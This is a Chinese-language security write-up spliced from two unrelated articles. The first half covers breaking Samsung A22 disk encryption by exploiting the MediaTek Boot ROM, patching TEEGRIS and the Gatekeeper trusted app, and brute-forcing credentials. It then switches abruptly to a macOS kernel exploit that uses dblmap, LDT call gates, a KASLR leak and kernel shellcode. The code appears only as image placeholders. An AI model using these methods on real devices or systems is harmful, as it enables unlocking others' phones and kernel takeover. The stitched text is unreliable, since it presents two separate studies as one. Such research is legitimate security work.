用於Gatekeeper的PoC研究人員在三星A22設備(更準確地說是在A226B和A225F)上實現了PoC,這些設備使用來自Mediatek 的兩個易受攻擊的SoC: MT6769V和MT6833V,可以使用MTKClient利用。該工具與下載模式(類似於高通soc上的EDL模式)交互,該模式暴露了一個USB接口,該接口最初用於在其上執行支持操作(例如刷新固件)。要觸發該漏洞,就必須物理訪問,並且在某些設備(如A225F)上,必須在設備PCB上短路兩個引腳才能進入下載模式。一旦設備以正確的模式啟動,該工具利用Boot ROM漏洞,然後修改BL2(在Mediatek 啟動模式中稱為preloader)以禁用下一個安全啟動檢查,最後將其加載到設備上並在其上啟動。

4.png

但要實現攻擊,就需要修復以下組件:

1.BL3,它被稱為小內核(簡稱為LK),禁用Android驗證啟動檢查,因為我們想要啟動修改的Android映像;

2.Android系統(在本示例中為啟動鏡像),授予我們root訪問權限,並修改供應商分區中存在的Gatekeeper Trusted應用程序;

3.TEE操作系統(稱為TEEGRIS)禁用對受信任應用程序的驗證。

獲得Android系統最高權限(AndroidRooting)

為了實現AndroidRooting,我們使用了Magisk。用修復的Gatekeeper TA替換它,我們只需要在SPU分區中創建一個新文件,然後Magisk的init程序在啟動時將其安裝在現有文件的位置。這種方法的優點是,它可以簡單地替換任何文件,因為我們只需要將它放在復制目錄樹的SPU分區中。

一旦完成,我們就可以對設備進行root訪問,然後使用它來訪問CE密鑰派生中涉及的文件。

修復TEEGRISTEEGRIS是三星設計的TrustZone操作系統,可以在Exynos和Mediatek 的soc上找到。它的設計和逆向工程已經被介紹了很多次,所以本文只關注我們需要修復的部分來實現我們的目標:執行修改後的TA。在本文的示例中,我們決定修復Gatekeeper,以繞過句柄驗證並始終生成有效的驗證令牌。

TEEGRIS分為幾個鏡像:

tee1.img:它包含Arm Trusted Firmware(在監視器模式下以最高權限執行-EL3)、Secure World內核和一個名為userboot.so的二進製文件。最後一個對我們來說非常重要,因為它用於加載和驗證TEEGRIS的根文件系統。

tzar.img:這是TEEGRIS的根文件系統,以逆向工程的自定義壓縮格式存儲。它包含可供其他庫使用但也可供TA使用的庫,以及二進製文件,其中包括一個名為root_task的二進製文件,負責驗證和運行Android提供的TA。

super.img:它是包含幾個邏輯分區的Android主分區。其中之一是供應商分區,包含大多數TA,包括Gatekeeper。

5.png

總而言之,我們需要修復userboot。所以二進制禁用驗證的TZAR。然後,我們修復root_task以禁用TA的驗證,這樣終於可以修復Gatekeeper了。

修復GatekeeperGatekeeper用於驗證用戶的憑證。驗證使用密鑰派生函數(KDF)生成一個惟一的值,然後可以將該值與作為參數傳遞的預期值進行比較。在Trusty TEE實現中,KDF實際上是一個使用內部密鑰的HMAC。對於TEEGRIS來說,KDF似乎是一個自定義的,顯然是在加密驅動程序中實現的,至少在基於exynos的設備上,它依賴於內部加密處理器。

如果憑證匹配,Gatekeeper生成一個auth_token並將其發送回Android,以便它可以附加到Keymaster請求。需要注意的是,這是Keymaster解密身份驗證綁定密鑰所必需的,例如加密的合成密碼。這裡有幾個選項,但我們決定修復兩個值之間的比較,以確保接受任何憑證。這是可能的,因為auth_token生成機制不使用憑證中的任何位。由於進行過修改,每次我們輸入一些憑證時,Gatekeeper都會生成令牌並返回成功,使系統相信它可以繼續下一步來解鎖設備。可以肯定的是,它不能用錯誤的憑證解密用戶數據。但是在嘗試之前,Keymaster任務必須執行合成密碼的第一次解密(它被加密了兩次)。

6.png

我們可以按照這個辦法盜取第一個AES解密操作的結果。該設備是根設備,使用Frida,我們可以在SyntheticPasswordCrypto.decryptBlob中暫停請求該操作的system_server進程。檢索到該值後,我們就可以開始強制使用憑據了。

暴力破解憑證暴力破解的代碼如下所示:

7.png

從設備加密的文件中檢索scrypt的參數。顧名思義,value_leaked_from_keymaster就是我們通過Frida盜取的值。由於此AES_Decrypt函數背後使用的GCM操作模式,如果密鑰是錯誤的,解密將失敗,我們知道我們需要選擇另一個密碼。如果成功,就意味著我們找到了正確的值。具體視頻請點此。

就性能而言,暴力執行腳本肯定可以改進。如上所述,即使只是簡單地將它移動到一個一般功能的VM上,也有顯著的改進。使用專用硬件會有所不同,但這不是我們PoC的重點,我們更願意把重點放在實現暴力執行所需的過程上。

利用安全芯片派生CE密鑰

8.png

上圖顯示了使用安全芯片時如何派生CE密鑰。該模式與上一部分中介紹的模式非常相似,主要區別在於引入了一個名為Weaver的新組件,並用於生成applicationId。

使用Weaver進行身份驗證Weaver是一個依賴於安全芯片來存儲密鑰和值的服務,每個值被分配到一個唯一的插槽。它公開了一個由三個命令組成的非常簡單的API:

Read:在輸入中提供插槽編號和密鑰,如果密鑰正確,則接收相關值;

write:提供要存儲的插槽編號、密鑰和值;

getConfig:檢索Weaver實現的配置信息。

與Gatekeeper類似,Weaver實現了一種節流機制,該機制在多次讀取嘗試失敗後生效。

10.png

當安全芯片可用時,使用scrypt生成的令牌將轉換為Weaver密鑰,然後將該密鑰與存儲在設備加密文件(/data/system_de/

最後,將令牌和哈希密鑰組合起來生成applicationId,從中派生出的CE密鑰與Gatekeeper模式中提供的密鑰相同。

Weaver的PoC隨著安全芯片在越來越多的設備中變得越來越流行,Weaver是Android系統中相對較新的成員。在Quarkslab,研究人員花了很多時間研究Titan M芯片,這是谷歌在Pixel 3中引入的。

總結Android磁盤加密絕對是一個突破性的功能,其安全性可以說是密不透風,設計者通過組合不同組件的功能,很好的保護了Android系統數據,攻擊者只有找到非常強大的漏洞才能發起攻擊。另外,受信任的芯片又把安全級別提高到了一個新的高度。

確定當前CPU雖然這不是一個真正的“技巧”,但為了匹配dblmap中的正確結構地址,有必要識別當前CPU編號。每個內核都有自己的GDT(在dblmap中),因此可以使用sgdt指令來確定當前的CPU。然後可以循環,直到看到“正確的”GDT。

需要執行此操作的一個示例是在使用有效負載填充LDT 之後,任務需要在正確的內核上執行,然後有效負載才會出現在dblmap 中該內核的LDT 中。

使用dblmap 簡化實際的漏洞利用為了提供一個演示dblmap 實用性的具體示例,我們將展示如何通過使用dblmap 而不是其過度複雜的多個洩漏原語構造來大大簡化我們的Pwn2Own 2021 內核漏洞利用。 GitHub 上提供了此變體的源代碼以及完整的Safari 到內核鏈的其餘部分。

bug/exploit 的完整細節在之前的一篇文章中已經介紹過:1.我們對已釋放的內核緩衝區進行任意寫入操作;2.沒有內核信息洩露。

我們可以使用包含OSObject 指針的新OSArray 的後備存儲輕鬆回收已釋放的內核緩衝區。這些是C++ 對象,因此破壞數組中的內核數據指針以指向假對象應該足以通過虛擬調用劫持控制流。

多虧了dblmap,我們可以將已知的數據放在已知的內核地址。這意味著我們可以在LDT中構造偽內核對象及其虛函數表,而不需要真正的內核文本或數據洩漏。

10.png

為了簡單起見,我們選擇CPU 0作為“正確”的CPU,它的LDT對應於內核中的master_ldt符號。

現在我們已經能夠劫持內核控制流,我們需要研究調用時的寄存器狀態,以及如何將其轉換為對dblmap函數的有用調用。

被劫持的內核調用網站的參數控制在這種情況下,將生成一個損壞的OSArray的副本,我們首先能夠在OSArray:initWithObjects()中劫持控件,它被傳遞給包含損壞對象的備份存儲。遍歷損壞的支持存儲,並為每個對象調用taggedRetain()虛函數。

調用的第一個參數自然是this指針,它將指向LDT中的假對象;

第二個參數是“tag”,它將是OSCollection:gMetaClass;

沒有明確的第三個參數,但我們仍然可以查看函數是如何編譯的,並確定調用網站的rdx(根據調用約定的第三個參數)中可能包含的內容。

它恰好在count++操作期間使用,這意味著它將等於假對像在已損壞數組中的索引加1。換句話說,如果破壞數組中第i個索引的對象,對應調用的第三個參數將是i+1。這讓我們可以控制第三個參數,只要它是一個相對較小的非零整數。

由於第二個參數OSCollection:gMetaClass 是OSMetaClass 的一個實例,一個C++ 對象,它的第一個字段是虛函數表。使用第三個參數8調用memcpy()會相對簡單,它會將虛函數表複製到LDT中。然後可以使用i386_get_ldt()讀出虛函數表,這將導致文本洩漏。

然後,我們可以使用OSSerializer:serialize()將帶有受控制的this參數的調用轉換為帶有3個受控制參數的任意函數調用(假設可以滿足LDT限制)。這可能足以獲得足夠的洩漏,以消除對LDT的依賴,並從那裡繼續利用。

在LDT 中設置任意位hibernate_page_bitset() 函數的簽名是:

11.png

第二個布爾參數set決定函數是設置位還是清除位。在我們的例子中,它將為真,因為OSCollection:gMetaClass是非零的。

第三個參數page指定要設置或清除的位。如前所述,我們可以將其設為任何小的非零整數。

第一個參數是LDT中的假對象,它的結構如下:

12.png

簡而言之,它是一個可變大小的位圖數組,其中每個位圖都與一個位索引範圍相關聯。

由於我們控制了偽結構和位索引,因此調用這個函數允許我們在LDT中設置任意位。

應該注意的是,dblmap 中LDT 的內存內容是短暫的,如果當前任務(進程/線程)被搶占,它們就變得無關緊要。

當一個新任務開始在CPU上執行時,如果它有一個LDT,它將被複製到dblmap中,覆蓋現有的已損壞的內容。同樣,當重新調度被搶占的任務(具有先前損壞的LDT)時,複製到dblmap中的LDT來自堆分配結構,從而有效地消除了損壞。

在本文的示例中,你基本上可以忽略這個細節,因為失敗不會有任何懲罰或崩潰,如果需要的話,我們可以重新執行被劫持的bitset調用。另外,OSArray:initWithObjects()在一個循環中遍歷已損壞的後台存儲,這意味著我們可以劫持數組中每個插槽的虛擬調用,並在一次傳遞中多次調用bitset函數。我們不需要每次設置一個位時都來回切換到用戶空間,這意味著經過的時間更少,我們的任務被搶占的機會也就越低。

另一種選擇是破壞LDT 中的前3 個描述符之一。這些是硬編碼的,不能用i386_set_ldt() 修改:

13.png

由於它們預計不會更改,因此每次在CPU 上執行新任務時不會重置這些條目。任何dblmap 的LDT(每個CPU 一個)中對這3 個描述符的任何損壞都將在搶占期間持續存在。

構建調用門在LDT中設置比特聽起來很強大,但我們實際上可以用它做什麼?

請記住,有兩種類型的描述符:用於內存區域的代碼/數據描述符和系統描述符。 LDT中唯一允許的系統描述符是調用門。正如英特爾手冊所述:調用門有助於在不同權限級別之間進行程序控制的受控傳輸。

它們主要由3個方面定義:

1.訪問門所需的權限級別;

2.目標代碼段選擇器;

3.目標入口點;

二進制格式:

14.png

當從用戶空間(ring3)通過呼叫門進行遠程呼叫時,大致會發生以下情況:

1.檢查權限(調用門描述符的DPL 字段必須為3);

2.目標代碼段描述符的DPL 字段成為新的權限級別;

3.使用新的權限級別從TSS 中選擇一個新的堆棧指針;

4.將舊的ss 和rsp 推入新堆棧;

5.將舊的cs和rip推入新堆棧;

6.從調用門選擇器和入口點設置cs和rip。

構造一個可以被ring3 (DPL為3)訪問的調用門,並為64位內核代碼(0x8)指定代碼段選擇器,這將允許我們對指定的任何地址執行遠程調用,如ring0。

濫用調用門來利用內核漏洞之前已經被證明過,但是在32 位Windows 的上下文中,當時SMEP、SMAP和頁表隔離並未受到關注。

洩露kernel slide當我們觸發遠程調用時,Supervisor Mode Execution Prevention (SMEP)阻止我們跳轉到用戶空間中的可執行代碼。頁表仍然處於用戶模式,其中唯一映射的內核空間頁用於dblmap。這就留下了跳到__HIB文本部分中的現有代碼的唯一選項。

我們將遠程調用指向ks_64bit_return()的中間,它包含以下指令序列:

15.png

請記住,我們擁有完全的寄存器控制(rsp除外,它將是內核堆棧),因此對r15解引用的第一條指令將給我們一個任意的讀原語。我們只需將r15適當地設置為要讀取的地址,進行遠程調用,在返回到用戶空間時,r15將包含解除引用的數據。

這可能導致從dblmap中洩漏一個函數指針,從而暴露kernel slide。具體來說,我們可以從idt64_hndl_table0中洩漏ks_dispatch()指針。

這裡有一點需要注意的是,從遠程調用返回通常是通過遠返回指令retf 完成的,而不是iretq 中斷返回。 堆棧佈局將與預期略有不同:

16.png

rflags 將從舊的rsp 中設置,而rsp 將使用舊的ss 填充,而ss 將從之後發生在堆棧上的任何內容中填充。這意味著:

在進行遠程調用之前,可以通過將RSP設置為Rflags值來“恢復”Rflags;

從舊的ss中設置RSP是沒有問題的,我們可以自己恢復RSP;

加載到ss的堆棧上的下一個值將是一個內核指針,這將是一個無效的選擇器,並將觸發一個異常。然而,這個異常將發生在中斷返回後的ring3中,所以我們可以簡單地使用預期的Mach異常處理行為來捕獲它。

可以使用thread_set_exception_ports()來為EXC_BAD_ACCESS註冊一個異常端口。我們生成一個線程來等待異常消息,然後用包含正確的ss選擇器的消息內容來響應,從而允許遠程調用線程繼續。

控制頁表,控制一切kernel slide不僅顯示內核基址的虛擬地址,而且還顯示其物理地址。這為我們提供了CPU 0的LDT的物理地址,或者換句話說,就是受控數據的物理地址。

這為我們提供了一個非常強大的工具:如果我們重構調用門以跳轉到mov cr3指令,我們將立即獲得任意的ring0代碼執行。

我們所需要做的就是確保我們正確地設置了我們的偽頁表(駐留在LDT 中):

1.mov cr3後面指令的虛擬地址應該映射到傳入LDT的shellcode的物理地址;

2.內核堆棧應該是可映射和可寫的(對於CPU 0,這是__HIB 段中的符號master_sstk);

3.根據經驗,這是不必要的,但是為了安全起見,應該映射GDT(對於CPU 0,符號master_gdt)。

注意,這只適用於CPU 0,它的LDT靜態分配在__HIB段中。其他CPU 的LDT 從內核堆分配,虛擬別名插入到dblmap 的頁表中。這些堆分配的物理地址不能直接從kernel slide中推斷出來。

內核Shellcode由於對LDT 描述符的限制,我們傳入LDT的shellcode將由任意6字節的塊組成。如果我們使用2 個字節進行短跳轉(EB + 偏移量),這會留下4 個任意字節的塊。

雖然理論上這已經結束了,但在“正常”頁表狀態下更容易獲得不受限制的shellcode執行。為了實現這一目標,一個簡單的解決方案是使用受限制的shellcode禁用SMEP和SMAP(它們只是CR4寄存器中的位),然後返回到用戶空間。然後,我們可以像以前一樣觸發一個被劫持的虛擬內核調用,但這一次跳轉到用戶空間中的任意shellcode。

一個小細節是每個CPU都有控制寄存器,所以只有在執行LDT shellcode的CPU上才會禁用SMEP和SMAP。

另一個實現細節是如何干淨地返回到用戶空間,這將需要恢復原始頁表。我們通過讓shellcode執行以下操作來實現:

1.從dblmap 讀取cpshadows[i].cpu_ucr3 到rax;

2.修改堆棧以形成有效的iretq 佈局;

3.跳轉到ks_64bit_return() 執行cr3 切換(來自rax),然後執行iretq;

我們介紹了dblmap 如何大大降低KASLR 的功效,提供幾個有趣的內核調用目標、主機走私內核shellcode 等。